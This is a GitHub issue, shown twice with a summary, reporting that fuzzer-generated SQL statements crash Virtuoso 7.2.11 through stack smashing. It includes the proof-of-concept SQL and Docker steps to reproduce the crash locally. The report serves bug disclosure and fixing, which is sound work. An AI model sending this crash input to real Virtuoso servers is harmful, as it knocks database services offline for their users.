The PoC is generated by my DBMS fuzzer. It can also be reproduced in the latest branch.
```SQL
CREATE TABLE v0 ( v1 DECIMAL NOT NULL PRIMARY KEY ) ; 
  INSERT INTO v0 VALUES ( -2147483648 ) ; 
  INSERT INTO v0 VALUES ( ( SELECT ALL CASE WHEN 0 THEN 77 / -128 WHEN 35 THEN -128 ELSE ( ( 30646101.000000 , 35055771.000000 ) , ( 91094082.000000 , 43147816.000000 ) ) / 0 END ) ) ; 
  INSERT INTO v0 ( v1 , v1 , v1 ) SELECT v1 FROM v0 WHERE 27 / - 76 / ( v1 + 53 ) + 8 / -1 IN ( v1 / 51 , 'x' , 'x' ) ORDER BY v1 / v1 + 2147483647 + 37190275.000000 + 87 ; 
```

ways to reproduce (write poc to the file /tmp/test.sql first):
```bash
# remove the old one
docker container rm virtdb_test -f
# start virtuoso through docker
docker run --name virtdb_test -itd --env DBA_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.11
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb_test isql 1111 dba
# run the poc
cat /tmp/test.sql | docker exec -i virtdb_test isql 1111 dba
```
Fuzzer: Virtuoso 7.2.11 crashed by stack smashing
This is a GitHub Issue
repo:virtuoso-opensource
owner:openlink
Title : Fuzzer: Virtuoso 7.2.11 crashed by stack smashing
Issue date:

--- start body ---
The PoC is generated by my DBMS fuzzer. It can also be reproduced in the latest branch.
```SQL
CREATE TABLE v0 ( v1 DECIMAL NOT NULL PRIMARY KEY ) ; 
  INSERT INTO v0 VALUES ( -2147483648 ) ; 
  INSERT INTO v0 VALUES ( ( SELECT ALL CASE WHEN 0 THEN 77 / -128 WHEN 35 THEN -128 ELSE ( ( 30646101.000000 , 35055771.000000 ) , ( 91094082.000000 , 43147816.000000 ) ) / 0 END ) ) ; 
  INSERT INTO v0 ( v1 , v1 , v1 ) SELECT v1 FROM v0 WHERE 27 / - 76 / ( v1 + 53 ) + 8 / -1 IN ( v1 / 51 , 'x' , 'x' ) ORDER BY v1 / v1 + 2147483647 + 37190275.000000 + 87 ; 
```

ways to reproduce (write poc to the file /tmp/test.sql first):
```bash
# remove the old one
docker container rm virtdb_test -f
# start virtuoso through docker
docker run --name virtdb_test -itd --env DBA_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.11
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb_test isql 1111 dba
# run the poc
cat /tmp/test.sql | docker exec -i virtdb_test isql 1111 dba
```
--- end body ---

A stack smashing vulnerability in Virtuoso 7.2.11 allows attackers to crash the application by executing specially crafted SQL statements. The provided proof of concept (PoC) demonstrates how to trigger this crash, indicating a potential buffer overflow or similar memory corruption issue.